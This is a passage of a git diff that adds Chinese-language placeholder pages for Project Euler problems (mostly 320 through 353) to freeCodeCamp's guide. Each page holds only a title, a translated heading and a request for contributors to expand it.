diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-320-factorials-divisible-by-a-huge-integer/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-320-factorials-divisible-by-a-huge-integer/index.md
new file mode 100644
index 0000000000..7ccabfc661
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-320-factorials-divisible-by-a-huge-integer/index.md
@@ -0,0 +1,9 @@
+---
+title: Factorials divisible by a huge integer
+localeTitle: 因子被一个巨大的整数整除
+---
+## 问题320：因子被一个巨大的整数整除
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-320-factorials-divisible-by-a-huge-integer/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-321-swapping-counters/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-321-swapping-counters/index.md
new file mode 100644
index 0000000000..8c9642c257
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-321-swapping-counters/index.md
@@ -0,0 +1,9 @@
+---
+title: Swapping Counters
+localeTitle: 交换计数器
+---
+## 问题321：交换计数器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-321-swapping-counters/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-322-binomial-coefficients-divisible-by-10/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-322-binomial-coefficients-divisible-by-10/index.md
new file mode 100644
index 0000000000..841c6fed07
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-322-binomial-coefficients-divisible-by-10/index.md
@@ -0,0 +1,9 @@
+---
+title: Binomial coefficients divisible by 10
+localeTitle: 二项系数可被10整除
+---
+## 问题322：二项系数可被10整除
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-322-binomial-coefficients-divisible-by-10/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-323-bitwise-or-operations-on-random-integers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-323-bitwise-or-operations-on-random-integers/index.md
new file mode 100644
index 0000000000..fb0e0dbc1c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-323-bitwise-or-operations-on-random-integers/index.md
@@ -0,0 +1,9 @@
+---
+title: Bitwise-OR operations on random integers
+localeTitle: 随机整数的按位或运算
+---
+## 问题323：对随机整数的按位或运算
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-323-bitwise-or-operations-on-random-integers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-324-building-a-tower/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-324-building-a-tower/index.md
new file mode 100644
index 0000000000..5db1a887f2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-324-building-a-tower/index.md
@@ -0,0 +1,9 @@
+---
+title: Building a tower
+localeTitle: 建一座塔
+---
+## 问题324：建造一座塔楼
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-324-building-a-tower/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-325-stone-game-ii/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-325-stone-game-ii/index.md
new file mode 100644
index 0000000000..54b77f3bf4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-325-stone-game-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Stone Game II
+localeTitle: 石游戏II
+---
+## 问题325：石头游戏II
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-325-stone-game-ii/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-326-modulo-summations/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-326-modulo-summations/index.md
new file mode 100644
index 0000000000..7840d9eec9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-326-modulo-summations/index.md
@@ -0,0 +1,9 @@
+---
+title: Modulo Summations
+localeTitle: 模数总结
+---
+## 问题326：模数汇总
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-326-modulo-summations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-327-rooms-of-doom/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-327-rooms-of-doom/index.md
new file mode 100644
index 0000000000..75f4004c2c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-327-rooms-of-doom/index.md
@@ -0,0 +1,9 @@
+---
+title: Rooms of Doom
+localeTitle: 末日的房间
+---
+## 问题327：末日的房间
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-327-rooms-of-doom/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-328-lowest-cost-search/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-328-lowest-cost-search/index.md
new file mode 100644
index 0000000000..a88d6ee55f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-328-lowest-cost-search/index.md
@@ -0,0 +1,9 @@
+---
+title: Lowest-cost Search
+localeTitle: 成本最低的搜索
+---
+## 问题328：成本最低的搜索
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-328-lowest-cost-search/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-329-prime-frog/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-329-prime-frog/index.md
new file mode 100644
index 0000000000..79c3415992
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-329-prime-frog/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime Frog
+localeTitle: Prime Frog
+---
+## 问题329：Prime Frog
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-329-prime-frog/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-33-digit-cancelling-fractions/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-33-digit-cancelling-fractions/index.md
new file mode 100644
index 0000000000..50273b4141
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-33-digit-cancelling-fractions/index.md
@@ -0,0 +1,9 @@
+---
+title: Digit cancelling fractions
+localeTitle: 数字取消分数
+---
+## 问题33：数字取消分数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-33-digit-cancelling-fractions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-330-eulers-number/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-330-eulers-number/index.md
new file mode 100644
index 0000000000..eb035cc8ab
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-330-eulers-number/index.md
@@ -0,0 +1,9 @@
+---
+title: Euler's Number
+localeTitle: 欧拉数
+---
+## 问题330：欧拉数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-330-eulers-number/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-331-cross-flips/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-331-cross-flips/index.md
new file mode 100644
index 0000000000..c4e0c2f7d3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-331-cross-flips/index.md
@@ -0,0 +1,9 @@
+---
+title: Cross flips
+localeTitle: 交叉翻转
+---
+## 问题331：交叉翻转
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-331-cross-flips/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-332-spherical-triangles/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-332-spherical-triangles/index.md
new file mode 100644
index 0000000000..508a26e81e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-332-spherical-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Spherical triangles
+localeTitle: 球形三角形
+---
+## 问题332：球形三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-332-spherical-triangles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-333-special-partitions/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-333-special-partitions/index.md
new file mode 100644
index 0000000000..f1371cb1ca
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-333-special-partitions/index.md
@@ -0,0 +1,9 @@
+---
+title: Special partitions
+localeTitle: 特殊分区
+---
+## 问题333：特殊分区
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-333-special-partitions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-334-spilling-the-beans/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-334-spilling-the-beans/index.md
new file mode 100644
index 0000000000..504e371727
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-334-spilling-the-beans/index.md
@@ -0,0 +1,9 @@
+---
+title: Spilling the beans
+localeTitle: 洒豆子
+---
+## 问题334：溢出豆子
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-334-spilling-the-beans/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-335-gathering-the-beans/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-335-gathering-the-beans/index.md
new file mode 100644
index 0000000000..b39775bc15
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-335-gathering-the-beans/index.md
@@ -0,0 +1,9 @@
+---
+title: Gathering the beans
+localeTitle: 收集豆子
+---
+## 问题335：收集豆子
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-335-gathering-the-beans/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-336-maximix-arrangements/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-336-maximix-arrangements/index.md
new file mode 100644
index 0000000000..2a0babc339
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-336-maximix-arrangements/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximix Arrangements
+localeTitle: Maximix安排
+---
+## 问题336：Maximix安排
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-336-maximix-arrangements/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-337-totient-stairstep-sequences/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-337-totient-stairstep-sequences/index.md
new file mode 100644
index 0000000000..c5262ea27f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-337-totient-stairstep-sequences/index.md
@@ -0,0 +1,9 @@
+---
+title: Totient Stairstep Sequences
+localeTitle: 欧拉序列阶梯
+---
+## 问题337：Totient Stairstep序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-337-totient-stairstep-sequences/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-338-cutting-rectangular-grid-paper/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-338-cutting-rectangular-grid-paper/index.md
new file mode 100644
index 0000000000..42ad1bc033
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-338-cutting-rectangular-grid-paper/index.md
@@ -0,0 +1,9 @@
+---
+title: Cutting Rectangular Grid Paper
+localeTitle: 切割矩形网格纸
+---
+## 问题338：切割矩形网格纸
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-338-cutting-rectangular-grid-paper/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-339-peredur-fab-efrawg/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-339-peredur-fab-efrawg/index.md
new file mode 100644
index 0000000000..0221684013
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-339-peredur-fab-efrawg/index.md
@@ -0,0 +1,9 @@
+---
+title: Peredur fab Efrawg
+localeTitle: Peredur fab Efrawg
+---
+## 问题339：Peredur fab Efrawg
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-339-peredur-fab-efrawg/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-34-digit-factorials/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-34-digit-factorials/index.md
new file mode 100644
index 0000000000..9dd78090b5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-34-digit-factorials/index.md
@@ -0,0 +1,9 @@
+---
+title: Digit factorials
+localeTitle: 数字阶乘
+---
+## 问题34：数字阶乘
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-34-digit-factorials/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-340-crazy-function/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-340-crazy-function/index.md
new file mode 100644
index 0000000000..6210a6cfc4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-340-crazy-function/index.md
@@ -0,0 +1,9 @@
+---
+title: Crazy Function
+localeTitle: 疯狂的功能
+---
+## 问题340：疯狂的功能
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-340-crazy-function/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-341-golombs-self-describing-sequence/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-341-golombs-self-describing-sequence/index.md
new file mode 100644
index 0000000000..f93cd38f62
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-341-golombs-self-describing-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Golomb's self-describing sequence
+localeTitle: Golomb的自描述序列
+---
+## 问题341：Golomb的自描述序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-341-golombs-self-describing-sequence/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-342-the-totient-of-a-square-is-a-cube/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-342-the-totient-of-a-square-is-a-cube/index.md
new file mode 100644
index 0000000000..7d2395e323
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-342-the-totient-of-a-square-is-a-cube/index.md
@@ -0,0 +1,9 @@
+---
+title: The totient of a square is a cube
+localeTitle: 正方形的总数是一个立方体
+---
+## 问题342：正方形的总数是一个立方体
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-342-the-totient-of-a-square-is-a-cube/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-343-fractional-sequences/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-343-fractional-sequences/index.md
new file mode 100644
index 0000000000..c65dd86db5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-343-fractional-sequences/index.md
@@ -0,0 +1,9 @@
+---
+title: Fractional Sequences
+localeTitle: 分数序列
+---
+## 问题343：分数序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-343-fractional-sequences/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-344-silver-dollar-game/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-344-silver-dollar-game/index.md
new file mode 100644
index 0000000000..03ee34ba1d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-344-silver-dollar-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Silver dollar game
+localeTitle: 银元游戏
+---
+## 问题344：银元游戏
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-344-silver-dollar-game/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-345-matrix-sum/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-345-matrix-sum/index.md
new file mode 100644
index 0000000000..a1bca4f32c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-345-matrix-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Matrix Sum
+localeTitle: 矩阵和
+---
+## 问题345：矩阵求和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-345-matrix-sum/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-346-strong-repunits/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-346-strong-repunits/index.md
new file mode 100644
index 0000000000..e8ff7c2321
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-346-strong-repunits/index.md
@@ -0,0 +1,9 @@
+---
+title: Strong Repunits
+localeTitle: 强大的Repunits
+---
+## 问题346：强大的Repunits
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-346-strong-repunits/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-347-largest-integer-divisible-by-two-primes/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-347-largest-integer-divisible-by-two-primes/index.md
new file mode 100644
index 0000000000..18d6f7578f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-347-largest-integer-divisible-by-two-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Largest integer divisible by two primes
+localeTitle: 最大的整数可被两个素数整除
+---
+## 问题347：最大整数可被两个素数整除
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-347-largest-integer-divisible-by-two-primes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-348-sum-of-a-square-and-a-cube/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-348-sum-of-a-square-and-a-cube/index.md
new file mode 100644
index 0000000000..78ba96d120
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-348-sum-of-a-square-and-a-cube/index.md
@@ -0,0 +1,9 @@
+---
+title: Sum of a square and a cube
+localeTitle: 正方形和立方体的总和
+---
+## 问题348：正方形和立方体的总和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-348-sum-of-a-square-and-a-cube/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-349-langtons-ant/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-349-langtons-ant/index.md
new file mode 100644
index 0000000000..3bf1ad7f02
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-349-langtons-ant/index.md
@@ -0,0 +1,9 @@
+---
+title: Langton's ant
+localeTitle: 兰顿的蚂蚁
+---
+## 问题349：兰顿的蚂蚁
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-349-langtons-ant/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-35-circular-primes/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-35-circular-primes/index.md
new file mode 100644
index 0000000000..0c4b9aac4e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-35-circular-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Circular primes
+localeTitle: 圆形素数
+---
+## 问题35：循环素数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-35-circular-primes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-350-constraining-the-least-greatest-and-the-greatest-least/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-350-constraining-the-least-greatest-and-the-greatest-least/index.md
new file mode 100644
index 0000000000..01c8bd964a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-350-constraining-the-least-greatest-and-the-greatest-least/index.md
@@ -0,0 +1,9 @@
+---
+title: Constraining the least greatest and the greatest least
+localeTitle: 约束最小和最小的
+---
+## 问题350：约束最小和最小
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-350-constraining-the-least-greatest-and-the-greatest-least/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-351-hexagonal-orchards/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-351-hexagonal-orchards/index.md
new file mode 100644
index 0000000000..163eed5929
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-351-hexagonal-orchards/index.md
@@ -0,0 +1,9 @@
+---
+title: Hexagonal orchards
+localeTitle: 六角形果园
+---
+## 问题351：六角形果园
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-351-hexagonal-orchards/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-352-blood-tests/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-352-blood-tests/index.md
new file mode 100644
index 0000000000..5c158e3057
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-352-blood-tests/index.md
@@ -0,0 +1,9 @@
+---
+title: Blood tests
+localeTitle: 验血
+---
+## 问题352：验血
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-352-blood-tests/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-353-risky-moon/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-353-risky-moon/index.md
new file mode 100644
index 0000000000..b2a64492ce
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-353-risky-moon/index.md
@@ -0,0 +1,9 @@
+---
+title: Risky moon
+localeTitle: 危险的月亮
+---
